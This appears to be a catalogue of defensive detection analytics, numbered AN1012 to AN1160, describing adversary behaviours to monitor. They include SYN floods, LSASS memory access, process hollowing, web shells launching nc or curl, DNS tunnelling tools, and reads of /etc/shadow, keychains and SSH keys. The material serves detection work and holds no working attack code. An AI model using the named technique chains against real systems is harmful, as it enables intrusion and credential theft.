[AN1012] Analytic 1012

Current version: 1.0

Description:

Burst of incomplete TCP handshakes (e.g., SYN floods) or uncorrelated ACK packets targeting the state table resulting in OS resource exhaustion.


[AN1013] Analytic 1013

Current version: 1.0

Description:

Flood of spoofed SYN or ACK packets causing exhaustion of OS TCP state table, potentially via user-space utilities or kernel-level DoS agents.


[AN1014] Analytic 1014

Current version: 1.0

Description:

Adversary tool/script issuing mass SYN/ACK floods that degrade OS responsiveness and interrupt service response on macOS endpoints.


[AN1015] Analytic 1015

Current version: 1.0

Description:

Execution of utilities (e.g., ping, tracert, Test-NetConnection) or scripted methods to test Internet connectivity by interacting with external IPs/domains.


[AN1016] Analytic 1016

Current version: 1.0

Description:

Execution of ping, traceroute, or curl/wget against public IPs/domains to verify Internet reachability.


[AN1017] Analytic 1017

Current version: 1.0

Description:

Execution of ping, traceroute, or network utility tools to external destinations; may include scutil or system_profiler.


[AN1018] Analytic 1018

Current version: 1.0

Description:

Execution of ping, vmkping, or curl from shell or through automation jobs/scripts to verify Internet egress.


[AN1019] Analytic 1019

Current version: 1.0

Description:

Detection of excessive or programmatic access to Confluence spaces or pages, particularly by privileged users, through a combination of access logs, API usage, and identity context. Correlates logon sessions, user roles, and abnormal document viewing or export behavior. Identifies burst access patterns and tools/scripts abusing the Confluence API for mass enumeration or data scraping.


[AN1020] Analytic 1020

Current version: 1.0

Description:

Suspicious processes (e.g., Tor clients, relays, unknown binaries) launch with sustained encrypted outbound traffic to known anonymity infrastructure (e.g., Tor, I2P), and may relay to additional internal systems via reverse proxying, ICMP tunneling, or socket forwarding.


[AN1021] Analytic 1021

Current version: 1.0

Description:

Tools such as tor, nglite, proxychains, chisel, or custom daemons repeatedly initiate outbound sessions to multiple nodes before final destination. This behavior is abnormal for Linux services outside of VPN, monitoring, or CDN relay contexts.


[AN1022] Analytic 1022

Current version: 1.0

Description:

LaunchAgents or LaunchDaemons initiate persistent Tor or relay processes that make encrypted outbound connections. May be paired with sandbox bypasses or unsigned executables communicating over SOCKS proxies.


[AN1023] Analytic 1023

Current version: 1.0

Description:

Outbound encrypted traffic initiated from hypervisor shell or via VM backdoor mechanisms to relays in VPS infrastructure, especially if traversing multiple nodes before reaching Internet destination. Packet captures or firewall logs show non-VM communication paths.


[AN1024] Analytic 1024

Current version: 1.0

Description:

Encrypted traffic or ICMP tunneling from border routers to internal routers or unknown external IPs. Forwarded traffic shows consistent hop-to-hop relaying without matching configured VPN or expected network topology.


[AN1025] Analytic 1025

Current version: 1.0

Description:

Detection of domain group enumeration through command-line utilities such as 'net group /domain' or PowerShell cmdlets, followed by suspicious access to API calls or LSASS memory.


[AN1026] Analytic 1026

Current version: 1.0

Description:

Behavioral detection of domain group enumeration via ldapsearch or custom scripts leveraging LDAP over the network.


[AN1027] Analytic 1027

Current version: 1.0

Description:

Enumeration of domain groups using dscacheutil or dscl commands, often following initial login or domain trust queries.


[AN1028] Analytic 1028

Current version: 1.0

Description:

Abuse of Regsvcs.exe or Regasm.exe to execute arbitrary code embedded in .NET assemblies via [ComRegisterFunction]/[ComUnregisterFunction]. Behavioral chain: (1) Process creation of regsvcs/regasm with suspicious assembly paths/flags → (2) Assembly/DLL load inside regsvcs/regasm → (3) Registry writes to HKCR\CLSID/ProgID during COM registration → (4) Optional child process or network activity spawned by installer/registration code.


[AN1029] Analytic 1029

Current version: 1.0

Description:

Detection of AppCert DLL abuse involves correlating registry modifications to the AppCertDLLs key with subsequent unexpected DLL load behavior during process creation events. Specifically, defenders can observe abnormal DLLs being loaded into standard Windows processes after changes to the 'AppCertDLLs' registry value. Monitoring CreateProcess-family API executions with injected DLLs and linking those DLLs back to recent registry edits is key to identifying misuse. This is often accompanied by elevated privileges and potential lateral movement or discovery behavior.


[AN1030] Analytic 1030

Current version: 1.0

Description:

A non-privileged or abnormal process attempts to open a handle with full access (0x1F0FFF) to lsass.exe and subsequently invokes memory dump, file creation, or registry modification indicative of credential scraping. This behavior chain reflects staged credential theft activity.


[AN1031] Analytic 1031

Current version: 1.0

Description:

Detects adversarial abuse of WMI to execute local or remote commands via WMIC, PowerShell, or COM API through a multi-event chain: process creation, command execution, and corresponding network connection if remote.


[AN1032] Analytic 1032

Current version: 1.0

Description:

Correlation of Registry key creation/modification events under known Run/Startup keys with new or unusual binary paths or script-based payloads. Multi-event detection includes registry modification followed by process execution from non-standard directories or abnormal parent-child process relationships.


[AN1033] Analytic 1033

Current version: 1.0

Description:

Detects adversary behavior where a file with a benign-looking first extension (e.g., .txt, .jpg) ends with a dangerous second extension (e.g., .exe, .scr), and is subsequently executed. The behavior chain includes file creation with misleading naming and user or system-initiated process execution from the disguised file.


[AN1034] Analytic 1034

Current version: 1.0

Description:

Correlates Group Policy updates that configure network logon scripts with subsequent remote file execution behaviors triggered by user logons to identify potential persistence or execution chains tied to adversarial manipulation of logon scripts.


[AN1035] Analytic 1035

Current version: 1.0

Description:

Detects tampered hardware or firmware via anomalous host status telemetry. Behavioral chain: (1) Pre-OS or firmware components exhibit unexpected version changes, signature failures, or modified boot paths; (2) System management/firmware tools log hardware inventory drift; (3) Sensor health telemetry or boot attestation events fail baseline checks; (4) Follow-on process execution from altered firmware or unknown drivers after boot.


[AN1036] Analytic 1036

Current version: 1.0

Description:

Monitors for hardware or firmware tampering by correlating system boot logs, hardware inventory changes, and secure boot/firmware verification failures. Behavioral chain: (1) UEFI/BIOS version drift; (2) secure boot disabled or signature verification errors; (3) unexpected modules or hardware devices enumerated at boot; (4) new device firmware images loaded from non-approved sources.


[AN1037] Analytic 1037

Current version: 1.0

Description:

Detects tampered Mac hardware/firmware by analyzing unified logs, EndpointSecurity events, and Apple Mobile File Integrity (AMFI) checks. Behavioral chain: (1) Boot process reports firmware signature mismatch; (2) Secure Boot policy altered; (3) new EFI drivers or hardware devices appear in inventory; (4) system extension loads from unapproved developer IDs post-boot.


[AN1038] Analytic 1038

Current version: 1.0

Description:

Correlate file modifications in shell startup scripts (e.g., .bashrc, .profile) with embedded trap commands and observe if those changes are followed by the unexpected execution of child processes when terminal signals (e.g., SIGINT) are triggered. Use contextual linking with user session activity to detect privilege misuse.


[AN1039] Analytic 1039

Current version: 1.0

Description:

Detect unauthorized trap command registrations in shell startup files (e.g., .zprofile, .bash_profile, .zshrc) followed by execution chains during user terminal interaction. Use Unified Logs and EDR telemetry to correlate shell command parsing and process tree anomalies.


[AN1040] Analytic 1040

Current version: 1.0

Description:

Execution of file enumeration commands (e.g., 'dir', 'tree') from non-standard processes or unusual user contexts, followed by recursive directory traversal or access to sensitive locations.


[AN1041] Analytic 1041

Current version: 1.0

Description:

Use of file enumeration commands (e.g., 'ls', 'find', 'locate') executed by suspicious users or scripts accessing broad file hierarchies or restricted directories.


[AN1042] Analytic 1042

Current version: 1.0

Description:

Execution of file or directory discovery commands (e.g., 'ls', 'find') from terminal or script-based tooling, especially outside normal user workflows.


[AN1043] Analytic 1043

Current version: 1.0

Description:

Execution of esxcli commands to enumerate datastore, configuration files, or directory structures by unauthorized or remote users.


[AN1044] Analytic 1044

Current version: 1.0

Description:

Execution of file discovery commands (e.g., 'dir', 'show flash', 'nvram:') from CLI interfaces, especially by unauthorized users or from abnormal source IPs.


[AN1045] Analytic 1045

Current version: 1.0

Description:

Monitor for suspicious use of Windows API calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or processes manually checking the BeingDebugged flag in the Process Environment Block (PEB). Detect sequences of OutputDebugStringW() calls in short intervals that may indicate debugger flooding attempts.


[AN1046] Analytic 1046

Current version: 1.0

Description:

Monitor access to /proc/self/status where TracerPID field is queried, as this is a common technique for debugger detection. Detect processes that attempt to trigger exceptions intentionally and monitor whether exception handling indicates presence of a debugger.


[AN1047] Analytic 1047

Current version: 1.0

Description:

Detect suspicious calls to sysctl or ptrace API used to determine if a process is being debugged. Monitor for processes that flood OutputDebugString equivalents or generate abnormal exceptions to evade analysis.


[AN1048] Analytic 1048

Current version: 1.0

Description:

Correlated use of sleep/delay mechanisms (e.g., kernel32!Sleep, NTDLL APIs) in short-lived processes, combined with parent processes invoking suspicious scripts (e.g., wscript, powershell) with minimal user interaction.


[AN1049] Analytic 1049

Current version: 1.0

Description:

Shell scripts or binaries invoking repeated 'sleep', 'ping', or low-level syscalls (e.g., nanosleep) in short-lived execution chains with no user or system interaction. Frequently seen in malicious cron jobs or payload stagers.


[AN1050] Analytic 1050

Current version: 1.0

Description:

Execution of AppleScript, bash, or launchd jobs that invoke delay functions (e.g., sleep, delay in AppleScript) with limited parent interaction and staged follow-on commands.


[AN1051] Analytic 1051

Current version: 1.0

Description:

Detection of anomalous or unauthorized mailbox delegation activity (e.g., Add-MailboxPermission, Default/Anonymous mailbox permissions, Gmail delegation setup).


[AN1052] Analytic 1052

Current version: 1.0

Description:

Execution of PowerShell commands that modify mailbox permissions using Exchange cmdlets (e.g., Add-MailboxPermission), often tied to BEC or post-compromise persistence.


[AN1053] Analytic 1053

Current version: 1.0

Description:

Correlate creation or modification of serverless functions (e.g., AWS Lambda, GCP Cloud Functions, Azure Functions) with anomalous IAM role assignments or permissions escalation events. Detect subsequent executions of newly created functions that perform unexpected actions such as spawning outbound network connections, accessing sensitive resources, or creating additional credentials.


[AN1054] Analytic 1054

Current version: 1.0

Description:

Monitor for creation of new Power Automate flows or equivalent automation scripts that trigger on user or file events. Detect anomalous actions performed by these automations, such as email forwarding, anonymous link creation, or unexpected API calls to external endpoints.


[AN1055] Analytic 1055

Current version: 1.0

Description:

Track creation or update of SaaS automation scripts (e.g., Google Workspace Apps Script). Detect when these scripts are bound to user events such as file opens or account modifications, and correlate with subsequent abnormal API calls that exfiltrate or modify user data.


[AN1056] Analytic 1056

Current version: 1.0

Description:

Monitor for creation or modification of udev rules files in key directories (/etc/udev/rules.d/, /lib/udev/rules.d/, /usr/lib/udev/rules.d/). Look for RUN+= or IMPORT keys invoking suspicious binaries or scripts. Correlate this with process execution from systemd-udevd context, and file writes near udev reload/restart events. Combine this with unexpected background process spawning from udevd-related forks.


[AN1057] Analytic 1057

Current version: 1.0

Description:

Detects processes performing network enumeration (e.g., port scans, service probing) by correlating process creation, socket connections, and sequential destination IP probing within a time window.


[AN1058] Analytic 1058

Current version: 1.0

Description:

Detects use of network scanning utilities or scripts performing rapid connections to multiple services or hosts using auditd and netflow/pcap telemetry.


[AN1059] Analytic 1059

Current version: 1.0

Description:

Detects Bonjour-based mDNS enumeration or use of system tools (e.g., dns-sd, nmap) to find active services via multicast probing or targeted scans.


[AN1060] Analytic 1060

Current version: 1.0

Description:

Detects lateral discovery or container breakout attempts using netcat, curl, or custom binaries probing other services within the same namespace or VPC subnet.


[AN1061] Analytic 1061

Current version: 1.0

Description:

Unauthorized or anomalous loading of kernel-mode drivers or DLLs, concealed services, or abnormal modification of boot components indicative of rootkit activity.


[AN1062] Analytic 1062

Current version: 1.0

Description:

Abnormal loading of kernel modules, direct tampering with /dev, /proc, or LD_PRELOAD behaviors hiding processes or files.


[AN1063] Analytic 1063

Current version: 1.0

Description:

Execution of unsigned kernel extensions (KEXTs), tampering with LaunchDaemons, or userspace hooks into system libraries.


[AN1064] Analytic 1064

Current version: 1.0

Description:

Correlates script execution or suspicious parent processes with creation or modification of encoded, compressed, or encrypted file formats (e.g., .zip, .7z, .enc) and abnormal command-line syntax or PowerShell obfuscation.


[AN1065] Analytic 1065

Current version: 1.0

Description:

Detects use of gzip, base64, tar, or openssl in scripts or commands that encode/encrypt files after file staging or system enumeration.


[AN1066] Analytic 1066

Current version: 1.0

Description:

Monitors use of archive or encryption tools (zip, openssl) tied to user-scripted activity or binaries writing encoded payloads under /Users or /Volumes.


[AN1067] Analytic 1067

Current version: 1.0

Description:

Identifies transfer of base64, uuencoded, or high-entropy files over HTTP, FTP, or custom protocols in lateral movement or exfiltration streams.


[AN1068] Analytic 1068

Current version: 1.0

Description:

Detects encoded PowerCLI or Base64-encoded payloads staged via datastore uploads or shell access (e.g., ESXi Shell or backdoored VIBs).


[AN1069] Analytic 1069

Current version: 1.0

Description:

Detects rogue Wi-Fi access points broadcasting the same SSID as legitimate APs with stronger signal strength, unexpected MAC/BSSID values, or inconsistent encryption settings. Correlates authentication attempts, captive portal redirections, and anomalous traffic flows through unauthorized APs.


[AN1070] Analytic 1070

Current version: 1.0

Description:

Adversaries collecting local files via PowerShell, WMI, or direct file API calls often include recursive file listings, targeted file reads, and temporary file staging.


[AN1071] Analytic 1071

Current version: 1.0

Description:

Adversaries using bash scripts or tools to recursively enumerate user home directories, config files, or SSH keys.


[AN1072] Analytic 1072

Current version: 1.0

Description:

Adversary use of bash/zsh or AppleScript to locate files and exfil targets like user keychains or documents.


[AN1073] Analytic 1073

Current version: 1.0

Description:

Collection of device configuration via CLI commands (e.g., show running-config, copy flash, more), often followed by TFTP/SCP transfers.


[AN1074] Analytic 1074

Current version: 1.0

Description:

Adversaries accessing datastore or configuration files via vim-cmd, esxcli, or SCP to extract logs, VMs, or host configurations.


[AN1075] Analytic 1075

Current version: 1.0

Description:

Correlates file enumeration of XML files in the SYSVOL share with suspicious process execution that decodes or reads encrypted credentials embedded in Group Policy Preference files (e.g., Get-GPPPassword.ps1, gpprefdecrypt.py, Metasploit). Detects abnormal access to \DOMAIN\SYSVOL combined with XML file parsing or decryption logic.


[AN1076] Analytic 1076

Current version: 1.0

Description:

Detects adversary use of suspended process creation, using the CREATE_SUSPENDED flag via CreateProcess, followed by unmapping the memory of the child process (NtUnmapViewOfSection) and replacing it with malicious code via VirtualAllocEx/WriteProcessMemory, then SetThreadContext and ResumeThread to begin execution within the hollowed process.


[AN1077] Analytic 1077

Current version: 1.0

Description:

Detects adversary behavior where a newly created or renamed user account closely resembles existing service or administrator accounts to blend in and avoid detection. Common patterns include prefix/suffix modifications, homoglyphs, or use of names like 'admin1', 'adm1n', or 'backup_help'.


[AN1078] Analytic 1078

Current version: 1.0

Description:

Detects creation or renaming of accounts with names that closely match known service, root, or admin accounts. Behavior often follows account discovery or deletion, attempting to blend into system activity logs using trusted name conventions.


[AN1079] Analytic 1079

Current version: 1.0

Description:

Detects adversary creation of cloud or IdP accounts whose names resemble existing privileged or service accounts. May indicate preparation for privilege escalation or defense evasion.


[AN1080] Analytic 1080

Current version: 1.0

Description:

Monitors for the creation of accounts inside containers using names that resemble legitimate orchestrator or backup identities to mask adversary persistence.


[AN1081] Analytic 1081

Current version: 1.0

Description:

Detects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.


[AN1082] Analytic 1082

Current version: 1.0

Description:

Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.


[AN1083] Analytic 1083

Current version: 1.0

Description:

Detects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.


[AN1084] Analytic 1084

Current version: 1.0

Description:

Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.


[AN1085] Analytic 1085

Current version: 1.0

Description:

A process outside of interactive shell context reads ~/.bash_history directly (e.g., using cat, less, grep), often shortly after privilege escalation or user switch (su/sudo). This may be followed by credential scanning in memory or file writes to new locations.


[AN1086] Analytic 1086

Current version: 1.0

Description:

A process or terminal command outside of standard shell utilities reads the user's .bash_history file. On macOS, unified logs or telemetry tools like EndpointSecurity (ESF) may observe file read APIs or terminal process lineage that shows non-user-initiated access.


[AN1087] Analytic 1087

Current version: 1.0

Description:

Enumeration of identity roles and users via API calls such as Get-MsolRoleMember, az ad user list, or Graph API tokens from unauthorized users or automation accounts.


[AN1088] Analytic 1088

Current version: 1.0

Description:

Use of AWS CLI (aws iam list-users, list-roles), Azure CLI (az ad user list), or GCP CLI (gcloud iam service-accounts list) from endpoints or cloud shells where such activity is unexpected.


[AN1089] Analytic 1089

Current version: 1.0

Description:

Bulk enumeration of cloud user email identities through Get-Recipient, Get-Mailbox, Get-User, or Graph API directory listings by abnormal accounts or suspicious sessions.


[AN1090] Analytic 1090

Current version: 1.0

Description:

Access to organizational directories via Google Workspace Directory API, Slack SCIM, or Okta SCIM by apps or identities outside normal roles.


[AN1091] Analytic 1091

Current version: 1.0

Description:

Detects anomalous ARP traffic or cache modifications on Windows endpoints that indicate ARP poisoning. Behavioral focus is on multiple IP addresses resolving to a single MAC, or unsolicited ARP replies from unauthorized devices.


[AN1092] Analytic 1092

Current version: 1.0

Description:

Detects suspicious gratuitous ARP responses or inconsistent IP-to-MAC mappings using auditd and packet capture. Behavioral focus is on unsolicited replies overriding legitimate ARP ownership.


[AN1093] Analytic 1093

Current version: 1.0

Description:

Detects anomalous ARP cache changes and unsolicited ARP broadcasts using unified logs and packet capture. Behavioral detection includes multiple IP addresses mapped to the same MAC address and repeated gratuitous ARP traffic.


[AN1094] Analytic 1094

Current version: 1.0

Description:

Detects a multi-event behavior chain involving UAC bypass attempts via known auto-elevated binaries (e.g., eventvwr.exe, sdclt.exe), unauthorized Registry changes to UAC-related keys, and anomalous process execution with elevated privileges but lacking standard parent-child lineage. Suspicious patterns include invocation of auto-elevated COM objects or manipulation of isolatedCommand Registry entries without consent prompts.


[AN1095] Analytic 1095

Current version: 1.0

Description:

Detects DLL injection through correlation of memory allocation and writing to remote process memory (e.g., VirtualAllocEx, WriteProcessMemory), followed by remote thread creation (e.g., CreateRemoteThread) that loads a suspicious or unsigned DLL using LoadLibrary or reflective loading.


[AN1096] Analytic 1096

Current version: 1.0

Description:

Correlation of file creation/modification of .desktop files within XDG autostart directories, followed by execution of processes at user login initiated by the desktop environment. Malicious entries typically include suspicious Exec paths or anomalous names and are not associated with installed packages.


[AN1097] Analytic 1097

Current version: 1.0

Description:

Monitor for runtime data manipulations by detecting suspicious modification of application binaries, API hooking, or unexpected behavior from processes responsible for rendering or displaying data. Correlate registry edits, process creation, and unexpected binary hash mismatches.


[AN1098] Analytic 1098

Current version: 1.0

Description:

Detect runtime manipulation by monitoring system calls for modifications to shared libraries, ELF binaries, or environment variables that affect how data is displayed. Look for suspicious writes to application directories and mismatch in binary integrity baselines.


[AN1099] Analytic 1099

Current version: 1.0

Description:

Monitor for runtime manipulation by observing changes in application bundles, unexpected signing modifications, and runtime API calls that inject or alter how data is displayed. Detect alterations in CFNetwork or CoreFoundation frameworks responsible for rendering data.


[AN1100] Analytic 1100

Current version: 1.0

Description:

Adversary spawns a process or script to enumerate installed software using WMI, registry, or PowerShell, potentially followed by additional discovery or evasion behavior.


[AN1101] Analytic 1101

Current version: 1.0

Description:

Adversary invokes 'dpkg -l', 'rpm -qa', or other package managers via shell or script to enumerate installed software.


[AN1102] Analytic 1102

Current version: 1.0

Description:

Adversary runs 'system_profiler SPApplicationsDataType' or queries plist files to enumerate software via Terminal or scripts.


[AN1103] Analytic 1103

Current version: 1.0

Description:

Adversary uses cloud-native APIs or CLI (e.g., AWS Systems Manager, Azure Resource Graph) to list installed software on cloud workloads.


[AN1104] Analytic 1104

Current version: 1.0

Description:

Adversary uses 'esxcli software vib list' to enumerate installed VIBs, drivers, and modules.


[AN1105] Analytic 1105

Current version: 1.0

Description:

Multiple AWS CloudTrail events indicating temporary privilege escalation via PassRole and AssumeRole targeting newly created services or non-interactive infrastructure.


[AN1106] Analytic 1106

Current version: 1.0

Description:

Token creation or access delegation where a user impersonates a higher-privileged service account or performs domain-wide delegation actions, such as GCP's serviceAccountTokenCreator or Workspace impersonation.


[AN1107] Analytic 1107

Current version: 1.0

Description:

Detection of ApplicationImpersonation role assignment or delegated mailbox access to service principals or rarely used users, especially outside of normal hours or geographic norms.


[AN1108] Analytic 1108

Current version: 1.0

Description:

Unexpected file creation in web directories followed by web server processes (e.g., w3wp.exe) spawning command shells or script interpreters (e.g., cmd.exe, powershell.exe)


[AN1109] Analytic 1109

Current version: 1.0

Description:

File creation of unauthorized script (e.g., .php, .sh) in /var/www/html followed by execution of unexpected system utilities (e.g., curl, bash, nc) by apache/nginx


[AN1110] Analytic 1110

Current version: 1.0

Description:

Web servers (e.g., httpd) spawning abnormal processes post file upload into /Library/WebServer/Documents or /usr/local/var/www


[AN1111] Analytic 1111

Current version: 1.0

Description:

Detects abuse of AuthorizationExecuteWithPrivileges API to gain elevated privileges via user credential prompts, typically through invocation of /usr/libexec/security_authtrampoline. Detection involves correlation of API usage, binary reputation, and prompt context.


[AN1112] Analytic 1112

Current version: 1.0

Description:

Detects suspicious access to macOS Keychain files and APIs. Observes processes invoking the 'security' utility or accessing Keychain databases directly, correlates these with abnormal parent process lineage or unexpected user context. Monitors attempts to dump, unlock, or read credential storage beyond normal application workflows.


[AN1113] Analytic 1113

Current version: 1.0

Description:

Detection of automated tools or scripts periodically transmitting data to external destinations using scheduled tasks or background processes.


[AN1114] Analytic 1114

Current version: 1.0

Description:

Background scripts (e.g., via cron) or daemons transmitting data repeatedly to remote IPs or URLs.


[AN1115] Analytic 1115

Current version: 1.0

Description:

Observation of LaunchAgents or LaunchDaemons establishing periodic external connections indicative of automated data transfer.


[AN1116] Analytic 1116

Current version: 1.0

Description:

Office-based persistence via Office template macros, Outlook forms/rules/homepage, or registry-persistent scripts. Adversary modifies registry keys or Office application directories to load malicious scripts at startup.


[AN1117] Analytic 1117

Current version: 1.0

Description:

Startup-based persistence mechanisms within Microsoft Office Suite like template macros and home page redirects being configured through internal automation or client-side settings.


[AN1118] Analytic 1118

Current version: 1.0

Description:

Recurring network exfiltration initiated by scheduled or script-based processes exhibiting time-based regularity and consistent external destinations.


[AN1119] Analytic 1119

Current version: 1.0

Description:

Detection of cron-based or script-based recurring transfers where the same script, user, or destination reappears at predictable intervals.


[AN1120] Analytic 1120

Current version: 1.0

Description:

LaunchAgent or launchd recurring jobs initiating data transfer to consistent external IPs or domains with repeat timing signatures.


[AN1121] Analytic 1121

Current version: 1.0

Description:

Detects high-frequency or anomalous DNS queries initiated by non-browser, non-system processes (e.g., PowerShell, rundll32, python.exe) used to establish command and control via DNS tunneling.


[AN1122] Analytic 1122

Current version: 1.0

Description:

Detects local daemons or scripts generating outbound DNS queries with long or frequent subdomains, indicative of DNS tunneling via tools like iodine, dnscat2, or dig from cronjobs or reverse shells.


[AN1123] Analytic 1123

Current version: 1.0

Description:

Detects scripting environments (AppleScript, osascript, curl) or non-native tools performing DNS queries with encoded subdomains, often used for data exfiltration or beaconing.


[AN1124] Analytic 1124

Current version: 1.0

Description:

Detects clients issuing DNS queries with high volume, long subdomain lengths, encoded payload patterns, or to known malicious infrastructure; indicative of DNS-based C2 channels.


[AN1125] Analytic 1125

Current version: 1.0

Description:

Detects unusual outbound DNS traffic from ESXi hosts, often from shell scripts, custom daemons, or malicious VIBs interacting with external DNS infrastructure outside the management plane.


[AN1126] Analytic 1126

Current version: 1.0

Description:

Creation or modification of .plist files in /Library/LaunchDaemons/, especially those with suspicious Program or ProgramArguments paths, combined with execution activity under launchd with elevated privileges. Detectable through correlated Unified Logs, file monitoring, and process telemetry.


[AN1127] Analytic 1127

Current version: 1.0

Description:

Unusual enumeration of services and resources through cloud APIs such as AWS CLI describe-*, Azure Resource Manager queries, or GCP project listings. Defender perspective includes anomalous API calls, unexpected volume of service enumeration, and correlation of discovery with recently compromised sessions.


[AN1128] Analytic 1128

Current version: 1.0

Description:

Enumeration of directories, applications, or service principals through APIs such as Microsoft Graph or Okta API. Defender perspective includes unexpected listing of users, roles, applications, and abnormal access to identity management endpoints.


[AN1129] Analytic 1129

Current version: 1.0

Description:

Discovery of SaaS services connected to productivity platforms (e.g., Microsoft 365, Google Workspace). Defender perspective includes unexpected enumeration of enabled services, API integrations, or OAuth applications tied to user accounts.


[AN1130] Analytic 1130

Current version: 1.0

Description:

Discovery of connected SaaS applications, APIs, or configurations within platforms like Salesforce, Slack, or Zoom. Defender perspective includes enumeration of available integrations, abnormal querying of service metadata, and follow-on attempts to exploit or persist via discovered services.


[AN1131] Analytic 1131

Current version: 1.0

Description:

Configuration changes to virtual TAP/mirror policies that forward traffic to unapproved destinations. Detection correlates management plane API calls with mirrored traffic observation.


[AN1132] Analytic 1132

Current version: 1.0

Description:

Unauthorized mirroring sessions initiated on routers/switches (e.g., via monitor session, mirror port) coupled with outbound traffic from mirrored interface to unexpected destinations.


[AN1133] Analytic 1133

Current version: 1.0

Description:

Monitor Windows Registry modifications to Winlogon keys (Shell, Userinit, Notify) that introduce new executable or DLL paths. Correlate these changes with subsequent DLL loading, image loads, or process creation originating from winlogon.exe or userinit.exe. Abnormal child process lineage or unauthorized binaries in C:\Windows\System32 may indicate abuse.


[AN1134] Analytic 1134

Current version: 1.0

Description:

Correlates LNK file execution with embedded resource extraction or suspicious network activity following initial launch, often leading to payload delivery via disguised icons.


[AN1135] Analytic 1135

Current version: 1.0

Description:

Abuse of extended attributes (xattrs) to embed hidden payloads into legitimate files. Defender perspective: detect anomalous use of setfattr or getfattr commands, or direct syscalls (setxattr, getxattr) where attributes are unusually large or contain encoded data. Behavior chain includes: (1) execution of setfattr with suspicious namespaces (user., trusted.), (2) file metadata modification inconsistent with file size/hash, and (3) subsequent process execution reading attributes followed by decoding activity.


[AN1136] Analytic 1136

Current version: 1.0

Description:

Abuse of extended attributes (xattrs) to hide payloads in com.apple. or custom keys. Defender perspective: monitor suspicious use of xattr command with -w (write) and -p (print) flags, especially when followed by execution of interpreters like bash, Python, or osascript. Behavior chain includes: (1) suspicious file modification with new com.apple. attributes, (2) attribute content inconsistent with expected metadata tags (e.g., high entropy), (3) subsequent process execution correlated with extraction of the attribute.


[AN1137] Analytic 1137

Current version: 1.0

Description:

Detects anomalous usage of local accounts to log into a system, especially accounts not typically used interactively or outside business hours.


[AN1138] Analytic 1138

Current version: 1.0

Description:

Detects interactive or service logins from local accounts outside expected operational context or at anomalous times.


[AN1139] Analytic 1139

Current version: 1.0

Description:

Detects abnormal or rare logins via local accounts through system or remote mechanisms such as SSH.


[AN1140] Analytic 1140

Current version: 1.0

Description:

Outbound spoofed traffic to known amplification protocols (e.g., DNS, NTP, Memcached) combined with abnormal network traffic volume targeting remote reflectors, resulting in disproportionate traffic returned to a victim


[AN1141] Analytic 1141

Current version: 1.0

Description:

Spoofed outbound packets sent to amplification services from command-line tools or scripts, combined with abnormal outbound packet volume on known reflector ports


[AN1142] Analytic 1142

Current version: 1.0

Description:

Command-line initiated UDP traffic bursts to external reflection amplification ports using built-in scripting or binaries with network anomalies


[AN1143] Analytic 1143

Current version: 1.0

Description:

Cloud-hosted VM or container generates spoofed UDP requests to third-party services on known amplifier ports, with high outbound-to-inbound traffic ratios in VPC Flow Logs


[AN1144] Analytic 1144

Current version: 1.0

Description:

Detects anomalous NTLM LogonType 3 authentications that occur without accompanying domain logon events, especially from lateral systems or involving built-in administrative tools. Monitors for mismatches between source user context and system being accessed. Correlates LogonSession creation, NTLM authentications, and process/service initiation to identify suspicious use of stolen password hashes for remote access or service logon without password entry. Detects overpass-the-hash by combining Kerberos ticket issuance with NTLM-based lateral movement.


[AN1145] Analytic 1145

Current version: 1.0

Description:

Monitoring of file access to network shares (e.g., C$, Admin$) followed by unusual read or copy operations by processes not typically associated with such activity (e.g., PowerShell, certutil).


[AN1146] Analytic 1146

Current version: 1.0

Description:

Unusual access or copying of files from mounted network drives (e.g., NFS, CIFS/SMB) by user shells or scripts followed by large data transfer.


[AN1147] Analytic 1147

Current version: 1.0

Description:

Detection of file access from mounted SMB shares followed by copy or exfil commands from Terminal or script interpreter processes.


[AN1148] Analytic 1148

Current version: 1.0

Description:

Monitor DNS queries, proxy logs, and user-agent strings for anomalous patterns associated with adversary attempts to hide infrastructure. Defenders may observe DNS resolutions to short-lived domains, abnormal WHOIS registration data, or filtering of known defensive/responder IP addresses.


[AN1149] Analytic 1149

Current version: 1.0

Description:

Detect adversaries filtering traffic or modifying server responses to evade scanning. Monitor iptables, nftables, or proxy configurations that deny or redirect requests from known scanning agents or defensive tools.


[AN1150] Analytic 1150

Current version: 1.0

Description:

Monitor unified logs for manipulation of proxy configurations, DNS resolution, or filtering rules. Adversaries may redirect responses or use trusted domains that later resolve to malicious C2 infrastructure.


[AN1151] Analytic 1151

Current version: 1.0

Description:

Inspect network telemetry for adversary attempts to blend malicious traffic with legitimate flows using VPNs, proxies, or geolocation spoofing. Defensive teams may observe anomalous tunnels, encrypted sessions to suspicious domains, or geo-mismatched IP activity.


[AN1152] Analytic 1152

Current version: 1.0

Description:

Monitor VM-level DNS and network traffic logs for adversary-controlled domains or selective response behavior (e.g., dropped requests from security scanners).


[AN1153] Analytic 1153

Current version: 1.0

Description:

Unusual access to bash history, registry credentials paths, or private key files by unauthorized or scripting tools, with correlated file and process activity.


[AN1154] Analytic 1154

Current version: 1.0

Description:

Reading of sensitive files like .bash_history, /etc/shadow, or private key directories by unauthorized users or unusual processes.


[AN1155] Analytic 1155

Current version: 1.0

Description:

Unusual access to ~/Library/Keychains, ~/.bash_history, or Terminal command history by unauthorized processes or users.


[AN1156] Analytic 1156

Current version: 1.0

Description:

Unusual web-based access or API scraping of password managers, single sign-on sessions, or credential sync services via browser automation or anomalous API tokens.


[AN1157] Analytic 1157

Current version: 1.0

Description:

Unauthorized API or console calls to retrieve or reset password credentials, download key material, or modify SSO settings.


[AN1158] Analytic 1158

Current version: 1.0

Description:

Access to container image layers or mounted secrets (e.g., Docker secrets) by processes not tied to entrypoint or orchestration context.


[AN1159] Analytic 1159

Current version: 1.0

Description:

Use of configuration backup utilities or CLI access to dump plaintext passwords, local user hashes, or SNMP strings.


[AN1160] Analytic 1160

Current version: 1.0

Description:

